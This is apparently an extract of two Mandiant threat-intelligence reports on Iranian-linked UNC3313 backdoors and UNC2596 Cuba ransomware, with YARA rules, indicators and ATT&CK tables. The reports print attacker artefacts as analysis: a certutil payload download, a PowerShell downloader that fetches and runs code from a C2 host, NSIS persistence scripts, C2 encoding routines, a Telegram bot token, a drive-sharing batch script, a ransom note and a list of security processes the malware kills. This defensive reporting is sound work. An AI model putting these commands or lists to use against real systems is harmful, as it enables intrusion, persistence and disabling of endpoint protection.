+with STARWHALE in design but written in Golang. Mandiant is calling this code family STARWHALE.GO. It
+is downloaded on the system using the certuil.exe utility as shown in Figure 20.
+8/19
+certutil.exe -urlcache -split -f hxxp://95.181.161[.]81:443/per_indexx.exe
+Figure 20: STARWHALE.GO download
+STARWHALE.GO arrives as part of a Nullsoft Scriptable Install System (NSIS) installer, which installs it in a
+directory called OutlookM and creates a Run key in Windows registry to make it persistent on the system.
+Upon execution, it drops the Golang binary and executes it.
+InstType $(LSTR_37)
+; Custom
+InstallDir $LOCALAPPDATA\OutlookM
+; install_directory_auto_append = OutlookM
+; wininit = $WINDIR\wininit.ini
+; -------------------; SECTIONS: 1
+; COMMANDS: 6
+Section ; Section_0
+; AddSize 4744
+CreateDirectory $INSTDIR
+SetOutPath $INSTDIR
+File index.exe
+Exec $INSTDIR\index.exe
+WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run OutlookM $INSTDIR\index.exe
+SectionEnd
+Figure 21: NSIS Script Snippet for STARWHALE.GO
+The following registry key is created as a result of running the NSIS executable.
+KEY: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OutlookM
+Value: C:\Users\<redacted>\AppData\Local\OutlookM\index.exe
+Figure 22: STARWHALE.GO Persistence Method
+STARWHALE.GO also uses a custom data encoding algorithm to protect its network communication and
+critical strings within the binary. It sends the same information as STARWHALE, but the data sent and
+received are a JSON object. A sample HTTP POST request is shown in Figure 23.
+9/19
+POST /nnskfepmasiiohvijcdpxtxzjv HTTP/1.1
+Host: 87.236.212[.]184
+User-Agent: Go-http-client/1.1
+Content-Length: 91
+Content-Type: application/json
+Accept-Encoding: gzip
+{"vl":"2179526e3176587ec7557e4192495c46264556569c47693e8d39415432445722222733323323332333"}
+Figure 23: STARWHALE.GO HTTP C2 beacon
+STARWHALE.GO uses a different delimiter 
+|&&%&&|
+ than STARWHALE, but the rest of the enumerated
+information sent to the hardcoded C2 IP address is the same. Similarly, the malware reads the response from
+the POST request to the C2 server and attempts to decode it using the same custom string transformation
+routine it used to encode the data it sent. This routine is simpler than that used by STARWHALE, as
+explained later. The decoded result is either launched as a command line with the process "cmd.exe /c" or
+launched directly as a process if the string ends with .com, .exe, .bat, or .cmd. The output of the launched
+process, or error message in the case of a failure to decode the string, is sent to the C2 server via HTTP
+POST requests to its C2 server at hxxp://87.236.212[.]184/cepopggawztuxkxujfjbnpv.
+Mandiant identified a third UNC3313 backdoor during the investigation that was compiled with Python 3.9
+and packaged via PyInstaller, which would only execute on Windows 8 and higher. Mandiant has named this
+backdoor GRAMDOOR due to its ability to use the Telegram Bot API for communication. It sends and
+receives messages from an actor-created Telegram chat room. GRAMDOOR arrives on the system packaged
+as an NSIS installer, which establishes a persistence mechanism by setting the Windows Run registry key, as
+shown in Figure 24.
+KEY: HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift
+Value: C:\Users\<redacted>\AppData\Roaming\OutlookMicrosift\index.exe" Platypus
+Figure 24: GRAMDOOR Persistence Method
+The NSIS installer for GRAMDOOR drops the PyInstaller packaged binary in the APPDATA directory in a
+subdirectory named OutlookMicrosift. It is executed using Exec command from the install directory, as
+shown in Figure 25.
+10/19
+InstType $(LSTR_37)
+; Custom
+InstallDir $APPDATA\OutlookMicrosift
+; install_directory_auto_append = OutlookMicrosift
+; wininit = $WINDIR\wininit.ini
+; -------------------; SECTIONS: 1
+; COMMANDS: 6
+Section ; Section_0
+; AddSize 16859
+CreateDirectory $INSTDIR
+SetOutPath $INSTDIR
+File index.exe
+Exec "$INSTDIR\index.exe Platypus"
+WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run OutlookMicrosift
+"$\"$INSTDIR\index.exe$\" Platypus"
+SectionEnd
+Figure 25: NSIS Script Snippet for GRAMDOOR
+GRAMDOOR expects to be launched with one command-line parameter, which in this case was "Platypus." It
+uses this command-line parameter to piece together the function name, which is then called and acts as the
+entry point to the malware. GRAMDOOR implements only two commands: start and com. These commands
+are used to launch a cmd.exe process to which commands are piped. All network communication is via the
+Telegram server at api.telegram[.]org. This allows the actors to disguise their communication as regular
+Telegram traffic. This technique is not novel, and it is not the first time Iranian actors abused publicly
+available software to make their C2 traffic blend in.
+All HTTP requests from the malware to the Telegram server contained the token string
+2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY. The token strings are used to authenticate to the
+bot. Figure 26 shows a sample request.
+hxxps://api.telegram[.]org/bot2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY/sendMessage?
+chat_id=<chat_id>&parse_mode=Markdown&text=<content>
+Figure 26: GRAMDOOR Sample Request
+The malware uses the sendMessage API function to send information to a chat ID number. The actors
+interact with the host via the chat by issuing commands and then getting output of the executed commands
+sent back in the chat. For example, to retrieve network configuration information from the infected host, the
+attacker would issue the command 
+com<id> c607666261766066f9f23ec696
+ where the value
+c607666261766066f9f23ec696
+ is translated to 
+ipconfig /all
+ command.
+11/19
+STARWHALE and GRAMDOOR share similarities in logic for the custom encoding scheme used for the data
+and commands sent to and received from the C2. The following code snippet demonstrates STARWHALE
+traffic encoding and decoding and GRAMDOOR
+s commands passed back and forth between Telegram chat
+messages.
+def transform_chars(data):
+data = list(data)
+src = 0
+dst = len(data) - 1
+while src < dst:
+t = data[src]
+data[src] = data[dst]
+data[dst] = t
+src += 3
+dst -= 2
+return ''.join(data)
+def decode_traffic(data):
+return bytes.fromhex(transform_chars(transform_chars(data)[::-1])).decode('utf')
+def encode_traffic(data):
+return transform_chars(transform_chars(data.encode('utf').hex())[::-1])
+Figure 27: Encoding/Decoding custom routine example code snippet
+GRAMDOOR also hides sensitive strings within its code using a custom XOR-based encryption scheme. The
+following sample code shows the logic of the aforementioned scheme.
+def xor_transform(data):
+key = '`qLd' + str(5) + 'Hm^yw/sG-qh&@~y|[dJmC' + str(6) + 'UFvNt-^^_FeSd' + str(4) + 'N*#GNophwQMCJ' + str(1) + '?>L73PY'
+return ''.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0 ])(zip(data, key)))
+def encode_str(data):
+return base64.b64encode(xor_transform(data).encode())
+def decode_str(data):
+return xor_transform(base64.b64decode(data).decode())
+Figure 28: Sample snippet showing XOR-based encryption scheme used in GRAMDOOR
+12/19
+Mandiant also observed UNC3313 store PowerShell downloader commands in Registry keys that were
+referenced by a Scheduled Task named 
+Oracle scheduled assistant Autoupdate
+ that is triggered on user
+logon.
+Path: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Oracle\Pre
+Type: REG_SZ
+Value Name: Pre
+Text: IEX
+Figure 29: PowerShell command stored in Registry Value 
+Path: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Oracle\Post
+Type: REG_SZ
+Value Name: Post
+Text: function decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);
+for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt =
+[System.Text.Encoding]::UTF8.GetString($enByte);return $dtxt;}while($true){try{$o=
+[System.Net.HttpWebRequest]::Create('http[:]//87.236.212[.]6:80/esZ8389bp2LFqRLI');
+$o.proxy =
+[Net.WebRequest]::GetSystemWebProxy();$ExecutionContext.InvokeCommand.InvokeScript((decode
+(New-Object System.IO.StreamReader($o.GetResponse().GetResponseStream())).ReadToEnd()
+3));}catch{}Start-Sleep -Seconds 40;}
+Figure 30: PowerShell command stored in Registry Value 
+Post
+Lastly, Mandiant observed UNC3313 download and execute a Windows Installer file for the eHorus remote
+access tool from the vendor website. UNC3313 executed the file ehorus_installer_windows-1.1.3-x64_enUS.msi, which created a service named EHORUSAGENT. The eHorus agent process ehorus_agent.exe
+communicates with domains hosted on ehorus[.]com.
+Log: System
+Source: Service Control Manager
+EID: 7045
+Service Name: eHorus Agent Launcher
+Service File Name: &amp;quot;C:\Program Files\ehorus_agent\ehorus_launcher.exe&amp;quot; -s
+Figure 31: Service installation for eHorus agent
+eHorus is a legitimate remote access tool advertised commercially by Pandora FMS, which is based in Spain.
+eHorus has been recently reported by Symantec being abused by Iranian threat actors in a similar campaign
+against telecom organizations in Middle East and Asia.
+Mandiant Targeted Attack Lifecycle
+13/19
+Learn more about the Mandiant Targeted Attack Lifecycle.
+Figure 32: Mandiant Targeted Attack Lifecycle
+MITRE ATT&CK Techniques
+ATT&CK Tactic Category
+Techniques
+Resource Development
+Obtain Capabilities (T1588)
+Tool (T1588.002)
+Develop Capabilities (T1587)
+Malware (T1587.001)
+Initial Access
+Phishing (T1566)
+Phishing: Spearphishing Link (T1566.002)
+Execution
+Scheduled Task/Job (T1053)
+Scheduled Task (T1053.005)
+Command and Scripting Interpreter (T1059)
+PowerShell (T1059.001)
+Windows Command Shell (T1059.003)
+System Services (T1569)
+Service Execution (T1569.002)
+Windows Management Instrumentation (T1047)
+Boot or Logon Autostart Execution (T1547)
+Registry Run Keys / Startup Folder (T1547.001)
+User Execution (T1204)
+Malicious File (T1204.002)
+14/19
+Persistence
+Scheduled Task/Job (T1053)
+Scheduled Task (T1053.005)
+Create or Modify System Process (T1543)
+Windows Service (T1543.003)
+Boot or Logon Autostart Execution (T1547)
+Registry Run Keys / Startup Folder (T1547.001)
+Privilege Escalation
+Scheduled Task/Job (T1053)
+Scheduled Task (T1053.005)
+Defense Evasion
+Credential Access
+OS Credential Dumping (T1003)
+LSASS Memory (T1003.001)
+Security Account Manager (T1003.002)
+Brute Force
+Brute Force: Password Guessing (T1110.001)
+Discovery
+Remote System Discovery (T1018)
+System Owner/User Discovery (T1033)
+Network Service Scanning (T1046)
+Lateral Movement
+Remote Services (T1021)
+Remote Desktop Protocol (T1021.001)
+Collection
+Archive Collected Data (T1560)
+Archive via Utility (T1560.001)
+Command and Control
+Ingress Tool Transfer (T1105)
+Remote Access Software (T1219)
+Application Layer Protocol (T1071)
+Web Protocols (T1071.001)
+Protocol Tunneling (T1572)
+Web Service (T1102)
+Bidirectional Communication (T1102.002)
+15/19
+Mandiant Security Validation Actions
+Organizations can validate their security controls using the following actions with Mandiant Security
+Validation.
+Name
+A102-562
+Command and Control - GRAMDOOR, DNS Query, Variant #1
+A102-563
+Malicious File Transfer - GRAMDOOR, Download, Variant #1
+A102-564
+Malicious File Transfer - GRAMDOOR, Download, Variant #2
+A102-565
+Malicious File Transfer - STARWHALE, Download, Variant #1
+A102-566
+Malicious File Transfer - STARWHALE, Download, Variant #2
+A102-567
+Malicious File Transfer - STARWHALE, Download, Variant #3
+A102-568
+Malicious File Transfer - STARWHALE.GO, Download, Variant #1
+A104-975
+Protected Theater - GRAMDOOR, Execution, Variant #1
+A104-976
+Protected Theater - STARWHALE, Execution, Variant #1
+A104-977
+Host CLI - GRAMDOOR, Registry Persistence, Variant #1
+A104-978
+Host CLI - STARWHALE, Service Persistence, Variant #1
+YARA Rules
+16/19
+rule M_Hunting_Backdoor_STARWHALE_1
+meta:
+author = "Mandiant"
+description = "Detects strings for STARWHALE samples"
+md5 = " cb84c6b5816504c993c33360aeec4705"
+rev = 1
+strings:
+$s1 = "JSCript" ascii nocase wide
+$s2 = "VBSCript" ascii nocase wide
+$s3 = "WScript.Shell" ascii nocase wide
+$s4 = "ok" ascii nocase wide
+$s5 = "no" ascii nocase wide
+$s6 = "stari.txt" ascii nocase wide
+$s7 = "SoRRy" ascii wide
+$s8 = "EMIP" ascii wide
+$s9 = "NIp" ascii wide
+$s10 = "401" ascii wide
+$s11 = "_!#" ascii wide
+$s12 = "/!&^^&!/" ascii wide
+$s13 = "|!)!)!|" ascii wide
+$s14 = "|#@*@#|" ascii wide
+$s15 = "/!*##*!/" ascii wide
+$s16 = "sory" ascii nocase wide
+condition:
+filesize > 5KB and filesize < 5MB and 10 of ($s*)
+17/19
+rule M_Hunting_Backdoor_STARWHALE_GO_1 {
+meta:
+author = "Mandiant"
+description = "Detects strings for STARWHALE.GO"
+strings:
+$main1 = "main.findExecutable" ascii
+$main2 = "main.showMatrixElements" ascii
+$delim = "|&&%&&|" ascii
+$matrix = "MATRIX1*MATRIX2" ascii
+$sample = "1522526f4260f4653664276774" ascii
+condition:
+uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 15MB and 4 of them
+Indicators of Compromise
+Type
+Value
+Description
+7c3564cd166822be4932986cb8158409
+CrackMapExec
+7fefce7f2e4088ce396fd146a7951871
+LIGOLO
+5763530f25ed0ec08fb26a30c04009f1
+GRAMDOOR
+15fa3b32539d7453a9a85958b77d4c95
+GRAMDOOR
+cb84c6b5816504c993c33360aeec4705
+STARWHALE
+c8ff058db87f443c0b85a286a5d4029e
+ScreenConnect
+88.119.175[.]112
+LIGOLO C&C
+95.181.161[.]50
+LIGOLO C&C
+45.153.231[.]104
+LIGOLO C&C
+95.181.16[.]81
+Malware/Tools Hosting
+5.199.133[.]149
+STARWHALE C&C
+45.142.213[.]17
+STARWHALE C&C
+18/19
+87.236.212[.]184
+STARWHALE.GO C&C
+Acknowledgements
+Special thanks to Mike Hunoff, Nick Harbour, and Muhammad Umair for their assistance with reverse
+engineering the malware discussed in this blog post, and Adrien Bataille and Ervin James Ocampo for
+creating detections for malware families. Additionally, we would also like to thank Dan Andreiana, Alexander
+Pennino, Nick Richards, Jake Nicastro, Sarah Jones, and Geoff Ackerman for their help with technical review
+and providing valuable feedback.
+19/19
+(Ex)Change of Pace: UNC2596 Observed Leveraging Vulnerabilities to Deploy Cuba
+Ransomware
+mandiant.com/resources/unc2596-cuba-ransomware
+In 2021, Mandiant observed some threat actors deploying ransomware increasingly shift to exploiting vulnerabilities as an initial infection
+vector. UNC2596, a threat actor that deploys COLDDRAW ransomware, publicly known as Cuba Ransomware, exemplifies this trend. While
+public reporting has highlighted CHANITOR campaigns as precursor for these ransomware incidents, Mandiant has also identified the
+exploitation of Microsoft Exchange vulnerabilities, including ProxyShell and ProxyLogon, as another access point leveraged by UNC2596 likely
+as early as August 2021. The content of this blog focuses on UNC2596 activity which has led to the deployment of COLDDRAW ransomware.
+UNC2596 is currently the only threat actor tracked by Mandiant that uses COLDDRAW ransomware, which may suggest it
+s exclusively used
+by the group. During intrusions, these threat actors have used webshells to load the TERMITE in-memory dropper with subsequent activity
+involving multiple backdoors and built-in Windows utilities. Beyond commonplace tools, like Cobalt Strike BEACON and NetSupport,
+UNC2596 has used novel malware, including BURNTCIGAR to disable endpoint protection, WEDGECUT to enumerate active hosts, and the
+BUGHATCH custom downloader. In incidents where COLDDRAW was deployed, UNC2596 used a multi-faceted extortion model where data is
+stolen and leaked on the group's shaming website, in addition to encryption using COLDDRAW ransomware. COLDDRAW operations have
+impacted dozens of organizations across more than ten countries, including those within critical infrastructure.
+Victimology
+The threat actors behind COLDDRAW ransomware attacks have not shied away from sensitive targets (Figure 1). Their victims include utilities
+providers, government agencies, and organizations that support non-profits and healthcare entities, however, we have not observed them
+attacking hospitals or entities that provide urgent care. Around 80% of impacted victim organizations are based in North America, but they
+have also impacted several countries in Europe as well as other regions (Figure 2).
+Figure 1: Alleged COLDDRAW victims by industry
+1/12
+Figure 2: Alleged COLDDRAW victims by country
+Shaming Website
+Since at least early 2021, COLDDRAW ransomware victims have been publicly extorted by the threat actors who threaten to publish or sell
+stolen data (Figure 3). Each shaming post includes information on the 
+date the files were received.
+ While the shaming site was not included
+in ransom notes until early 2021, one of the entries on the site states that the files were received in November 2019. This is consistent with
+earliest samples uploaded to public malware repositories and may represent the earliest use of the ransomware. Notably, while the data
+associated with most of the victims listed on this site are provided for free, there is a paid section which listed only a single victim at the time of
+publication.
+Figure 3: Cuba (aka COLDDRAW) Ransomware Shaming Tor site (2021-12-31)
+Attack Lifecycle
+UNC2596 incidents that have led to COLDDRAW ransomware deployment have involved a mix of public and private tools, some of which are
+believed to be private to them. The threat actors use several malware and utilities that are publicly available including NetSupport, Cobalt
+Strike BEACON, built-in Windows capabilities such as PsExec, RDP, and PowerShell, malware available for purchase such as WICKER, and
+exploits with publicly available proof-of-concept code. UNC2596 also uses several tools and scripts that we have not observed in use by other
+threat activity clusters to date, including BUGHATCH, BURNTCIGAR, WEDGECUT, and COLDDRAW. See the 
+Notable Malware and Tools
+section for additional detail.
+Initial Reconnaissance / Initial Compromise
+Mandiant has observed UNC2596 frequently leverage vulnerabilities affecting public-facing Microsoft Exchange infrastructure as an initial
+compromise vector in recent COLDDRAW intrusions s where the initial vector was identified. The threat actors likely perform initial
+reconnaissance activities to identify Internet-facing systems that may be vulnerable to exploitation.
+2/12
+Establish Foothold
+In COLDDRAW ransomware incidents, where initial access was gained via Microsoft Exchange vulnerabilities, UNC2596 subsequently
+deployed webshells to establish a foothold in the victim network. Mandiant has also observed these actors deploy a variety of backdoors to
+establish a foothold, including the publicly available NetSupport RAT, as well as BEACON and BUGHATCH, which have been deployed using
+the TERMITE in-memory dropper.
+Escalate Privileges
+COLDDRAW ransomware incidents have mainly involved the use of credentials from valid accounts to escalate privileges. In some cases, the
+source of these credentials is unknown, while in other cases, UNC2596 leveraged credential theft tools such as Mimikatz and WICKER. We
+have also observed these threat actors manipulating or creating Windows accounts and modifying file access permissions. In one intrusion,
+UNC2596 created a user account and added it to the administrator and RDP groups.
+Internal Reconnaissance
+UNC2596 has performed internal reconnaissance with the goals of identifying active network hosts that are candidates for encryption and
+identifying files to exfiltrate for use in their multi-faceted extortion scheme. The threat actors have used WEDGECUT, a reconnaissance tool
+typically with the filename check.exe. It identifies active hosts by sending PING requests to a list of hosts generated by a PowerShell script
+named comps2.ps1 which uses the Get-ADComputer cmdlet to enumerate the Active Directory. The threat actors have interactively browsed
+file systems to identify files of interest. Additionally, UNC2596 has routinely used a script named shar.bat to map all drives to network shares,
+which may assist in user file discovery (Figure 4).
+net share C=C:\ /grant:everyone,FULL
+net share D=D:\ /grant:everyone,FULL
+net share E=E:\ /grant:everyone,FULL
+net share F=F:\ /grant:everyone,FULL
+net share G=G:\ /grant:everyone,FULL
+net share H=H:\ /grant:everyone,FULL
+net share I=I:\ /grant:everyone,FULL
+net share J=J:\ /grant:everyone,FULL
+net share L=L:\ /grant:everyone,FULL
+net share K=K:\ /grant:everyone,FULL
+net share M=M:\ /grant:everyone,FULL
+net share X=X:\ /grant:everyone,FULL
+net share Y=Y:\ /grant:everyone,FULL
+net share W=W:\ /grant:everyone,FULL
+net share Z=Z:\ /grant:everyone,FULL
+net share V=V:\ /grant:everyone,FULL
+net share O=O:\ /grant:everyone,FULL
+net share P=P:\ /grant:everyone,FULL
+net share Q=Q:\ /grant:everyone,FULL
+net share R=R:\ /grant:everyone,FULL
+net share S=S:\ /grant:everyone,FULL
+net share T=T:\ /grant:everyone,FULL
+Figure 4: UNC2596 used a batch script to
+enable sharing of all drives to facilitate
+encryption and data harvesting
+Move Laterally/Maintain Presence
+3/12
+During COLDDRAW incidents, UNC2596 actors have used several methods for lateral movement including RDP, SMB, and PsExec, frequently
+using BEACON to facilitate this movement. Following lateral movement, the threat actors deploy various backdoors including the publicly
+available NetSupport RAT, as well as BEACON and BUGHATCH, which are often deployed using the TERMITE in-memory dropper. These
+backdoors are sometimes executed using PowerShell launchers and have in some cases used predictable filenames. For example, NetSupportrelated scripts and executables observed during COLDDRAW incidents have typically used the filename ra or ra<#> whereas BUGHATCH
+scripts and executables have used the filename komar or komar<#>, followed by the appropriate extension.
+Complete Mission
+In order to complete their mission of multi-faceted extortion, the UNC2596 attempts to steal relevant user files and then identify and encrypt
+networked machines. To facilitate encryption, and possibly to assist with collection efforts, the threat actors have used a batch script named
+shar.bat which maps each drive to a network share (Figure 4). These newly created shares are then available for encryption by COLDDRAW.
+During a more recent intrusion involving COLDDRAW, UNC2596 deployed the BURNTCIGAR utility using a batch script named av.bat.
+BURNTCIGAR is a utility first observed in November 2021 which terminates processes associated with endpoint security software to allow
+their ransomware and other tools to execute uninhibited. UNC2596 has also been observed exfiltrating data prior to encrypting victim systems.
+To date, we have not observed UNC2596 using any cloud storage providers for data exfiltration; rather, they prefer to exfiltrate data to their
+BEACON infrastructure. The threat actors then threaten to publish data of organizations that do not pay a ransom on their shaming site
+(Figure 5).
+Good day. All your files are encrypted. For decryption contact us.
+Write here cloudkey[@]cock.li
+reserve admin[@]cuba-supp.com
+jabber cuba_support[@]exploit.im
+We also inform that your databases, ftp server and file server were downloaded by us to our servers.
+If we do not receive a message from you within three days, we regard this as a refusal to negotiate.
+Check our platform: <REDACTED>[.]onion/
+* Do not rename encrypted files.
+* Do not try to decrypt your data using third party software,
+it may cause permanent data loss.
+* Do not stop process of encryption, because partial encryption cannot be decrypted.
+Figure 5: Sample COLDDRAW Ransom Note
+Notable Malware and Tools
+In addition to the use of publicly available malware and built-in utilities, Mandiant has observed UNC2596 use malware that is believed to be
+private to these threat actors, such as WEDGECUT, BUGHATCH, BURNTCIGAR, and COLDDRAW, or malware that is believed to be used by a
+limited number of threat actors, such as TERMITE.
+WEDGECUT
+WEDGECUT, which has been observed with the filename check.exe, is a reconnaissance tool that takes an argument containing a list of hosts or
+IP addresses and checks whether they are online using ICMP packets. This utility
+s functionality is implemented using the IcmpCreateFile,
+IcmpSendEcho, and IcmpCloseFile APIs to send a buffer containing the string 
+Date Buffer
+. In practice, the list provided to WEDGECUT has
+been generated using a PowerShell script that enumerates the Active Directory using the Get-ADComputer cmdlet.
+BUGHATCH
+BUGHATCH is a downloader that executes arbitrary code on the compromised system downloaded from a C&C server. The code sent by the
+C&C server includes PE files and PowerShell scripts. BUGHATCH has been loaded in-memory by a dropper written in PowerShell or loaded by
+a PowerShell script from a remote URL.
+BURNTCIGAR
+BURNTCIGAR is a utility that terminates processes at the kernel level by exploiting an Avast driver
+s undocumented IOCTL code (Table 1). The
+malware terminates targeted processes using the function DeviceIoControl to exploit the undocumented 0x9988C094 IOCTL code of the Avast
+driver, which calls ZwTerminateProcess with the given process identifier. We have observed a batch script launcher that creates and starts a
+kernel service called aswSP_ArPot2 loading binary file C:\windows\temp\aswArPot.sys (legitimate Avast driver with SHA256 hash
+4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1).
+To deploy BURNTCIGAR at a victim, the actor brings their own copy of the vulnerable Avast driver and installs it at a service.
+4/12
+Executable Processes Killed by BURNTCIGAR
+SentinelHelperService.exe
+iptray.exe
+dsa-connect.exe
+SentinelServiceHost.exe
+ccSvcHst.exe
+ResponseService.exe
+SentinelStaticEngineScanner.exe
+sepWscSvc64.exe
+avp.exe
+SentinelAgent.exe
+SEPAgent.exe
+avpsus.exe
+SentinelAgentWorker.exe
+ssDVAgent.exe
+klnagent.exe
+SentinelUI.exe
+smcgui.exe
+vapm.exe
+SAVAdminService.exe
+PAUI.exe
+VsTskMgr.exe
+SavService.exe
+ClientManager.exe
+mfemms.exe
+SEDService.exe
+SBPIMSvc.exe
+mfeann.exe
+Alsvc.exe
+SBAMSvc.exe
+macmnsvc.exe
+SophosCleanM64.exe
+VipreNis.exe
+masvc.exe
+SophosFS.exe
+SBAMTray.exe
+macompatsvc.exe
+SophosFileScanner.exe
+RepMgr.exe
+UpdaterUI.exe
+SophosHealth.exe
+RepUtils.exe
+mfemactl.exe
+McsAgent.exe
+scanhost.exe
+McTray.exe
+McsClient.exe
+RepUx.exe
+cpda.exe
+SophosSafestore64.exe
+PccNtMon.exe
+IDAFServerHostService.exe
+SophosSafestore.exe
+svcGenericHost.exe
+epab_svc.exe
+SSPService.exe
+pccntmon.exe
+epam_svc.exe
+swc_service.exe
+HostedAgent.exe
+cptrayLogic.exe
+swi_service.exe
+tmlisten.exe
+EPWD.exe
+SophosUI.exe
+logWriter.exe
+FSAgentService.exe
+SophosNtpService.exe
+ntrtscan.exe
+RemediationService.exe
+hmpalert.exe
+TmCCSF.exe
+TESvc.exe
+SophosLiveQueryService.exe
+TMCPMAdapter.exe
+cptrayUI.exe
+SophosOsquery.exe
+coreServiceShell.exe
+EFRService.exe
+5/12
+SophosFIMService.exe
+coreFrameworkHost.exe
+MBCloudEA.exe
+swi_fc.exe
+ds_monitor.exe
+MBAMService.exe
+SophosMTRExtension.exe
+CloudEndpointService.exe
+Endpoint Agent Tray.exe
+sdcservice.exe
+CETASvc.exe
+EAServiceMonitor.exe
+SophosCleanup.exe
+EndpointBasecamp.exe
+MsMpEng.exe
+Sophos UI.exe
+WSCommunicator.exe
+AvastSvc.exe
+SavApi.exe
+dsa.exe
+aswToolsSvc.exe
+sfc.exe
+Notifier.exe
+bcc.exe
+AvWrapper.exe
+WRSA.exe
+anet.exe
+bccavsvc.exe
+a.exe
+aus.exe
+AvastUI.exe
+Table 1: Processes Killed by BURNTCIGAR
+COLDDRAW
+COLDDRAW is the name Mandiant uses to track the ransomware observed in Cuba Ransomware operations. This ransomware appends the
+.cuba file extension to encrypted files. When executed, it terminates services associated with common server applications and encrypts files on
+the local filesystem and attached network drives using an embedded RSA key. Encrypted files are rewritten with a COLDDRAW-generated
+header prior to the encrypted file contents. For large files, only the beginning and end of the file will be encrypted.
+TERMITE
+TERMITE is a password-protected memory-only dropper which contains an encrypted shellcode payload. Observed payloads have included
+BEACON, METASPLOIT stager, or BUGHATCH. TERMITE requires the actor to specify the ClearMyTracksByProcess export and supply a
+password as a command line option to operate successfully (Figure 6). Mandiant suspects that TERMITE may be available to multiple groups
+and is not exclusively used by UNC2596.
+Rundll32.exe c:\windows\temp\komar.dll,ClearMyTracksByProcess 11985756
+Figure 6: TERMITE command line execution
+Tracking TERMITE
+During UNC2596 intrusions involving COLDDRAW, the actors load tools and malware from web accessible systems that were also typically
+used for BEACON. Over a period of approximately six months, Mandiant Advanced Practices tracked a TERMITE loader at
+hxxp://45.32.229[.]66/new.dll which used the password 11985756 to decode various BEACON payloads. Ongoing analysis of TERMITE
+payloads collected during this timeframe showed that TERMITE underwent modifications to evade detections. UNC2596 also began using the
+TERMITE password 11985757 in October 2021.
+CHANITOR Overlaps
+Mandiant has not responded to any intrusions where we have directly observed CHANITOR malware lead to COLDDRAW ransomware;
+however, we have identified overlaps between CHANITOR-related operations and COLDDRAW incidents. These include infrastructure
+overlaps, common code signing certificates, use of a shared packer, and naming similarities for domains, files, and URL paths, among others.
+The code signing certificate with the Common Name FDFWJTORFQVNXQHFAH has been used to sign COLDDRAW payloads, as well as
+SENDSAFE payloads distributed by CHANITOR. Mandiant has not observed the certificate used by other threat actors.
+COLDDRAW payloads and SENDSAFE payloads distributed by CHANITOR have used a shared packer that we refer to as LONGFALL.
+LONGFALL, which is also known as CryptOne, has been used with a variety of malware families.
+6/12
+The WICKER stealer has been used in both CHANITOR-related post-exploitation activity and COLDDRAW incidents, including samples
+sharing the same command and control (C&C) server.
+Payloads distributed through CHANITOR and payloads identified in COLDDRAW ransomware incidents have masqueraded as the same
+legitimate applications including mDNSResponder and Java.
+Public reporting has also highlighted some overlaps between COLDDRAW and ZEPPELIN, another ransomware that has reportedly been
+distributed via CHANITOR.
+Implications
+As the number of vulnerabilities identified and publicly disclosed continues to increase year after year, Mandiant has also observed an increase
+in the use of vulnerabilities as an initial compromise vector by ransomware threat actors including utilizing both zero-day and n-day
+vulnerabilities in their activity; notable examples include UNC2447 and FIN11. Shifting towards vulnerabilities for initial access could offer
+threat actors more accurate targeting and higher success rates when compared to malicious email campaigns, which rely more on
+uncontrollable factors, such as victims
+ interacting with malicious links or documents. The rise in zero-day usage specifically could be reflective
+of significant funds and resources at the disposal of ransomware operators, which are being directed towards exploit research and development
+or the purchasing of exploits from trusted brokers. However, threat actors do not have to use zero-days to be effective. A subset of n-day
+vulnerabilities are often considered attractive targets for threat actors due to their impact of publicly exposed products, ability to facilitate code
+execution after successful exploitation, and the availability of significant technical details and/or exploit code in public venues. As the number
+of vulnerabilities publicly disclosed continues to rise, we anticipate threat actors, including ransomware operators, to continue to exploit
+vulnerabilities in their operations.
+Acknowledgements
+With thanks toThomas Pullen and Adrian Hernandez for technical research, and Nick Richard for technical review.
+MITRE ATT&CK
+Mandiant has observed COLDDRAW activity involving the following techniques in COLDDRAW intrusions:
+ATT&CK Tactic Category
+Techniques
+Initial Access
+T1190:
+Exploit Public-Facing Application
+Discovery
+T1010:
+Application Window Discovery
+T1012:
+Query Registry
+T1016:
+System Network Configuration Discovery
+T1018:
+Remote System Discovery
+T1033:
+System Owner/User Discovery
+T1057:
+Process Discovery
+T1082:
+System Information Discovery
+T1083:
+File and Directory Discovery
+T1087:
+Account Discovery
+T1518:
+Software Discovery
+T1486:
+Data Encrypted for Impact
+T1489:
+Service Stop
+Impact
+Collection
+T1056.001:
+Keylogging
+T1074.002:
+Remote Data Staging
+7/12
+Defense Evasion
+T1027:
+Obfuscated Files or Information
+T1055:
+Process Injection
+T1055.003:
+Thread Execution Hijacking
+T1070.004:
+File Deletion
+T1112:
+Modify Registry
+T1134:
+Access Token Manipulation
+T1134.001:
+T1140:
+Persistence
+Command and Control
+Resource Development
+Execution
+System Checks
+T1553.002:
+Code Signing
+T1564.003:
+Hidden Window
+T1574.011:
+Services Registry Permissions Weakness
+T1620:
+Reflective Code Loading
+T1098:
+Account Manipulation
+T1136:
+Create Account
+T1136.001:
+Local Account
+T1543.003:
+Windows Service
+T1071.001:
+Web Protocols
+T1071.004:
+T1095:
+Non-Application Layer Protocol
+T1105:
+Ingress Tool Transfer
+T1573.002:
+Asymmetric Cryptography
+T1583.003:
+Virtual Private Server
+T1587.003:
+Digital Certificates
+T1588.003:
+Code Signing Certificates
+T1608.001:
+Upload Malware
+T1608.002:
+Upload Tool
+T1608.003:
+Install Digital Certificate
+T1608.005:
+Link Target
+T1053:
+Scheduled Task/Job
+T1059:
+Command and Scripting Interpreter
+T1129:
+Credential Access
+Deobfuscate/Decode Files or Information
+T1497.001:
+T1059.001:
+Lateral Movement
+Token Impersonation/Theft
+PowerShell
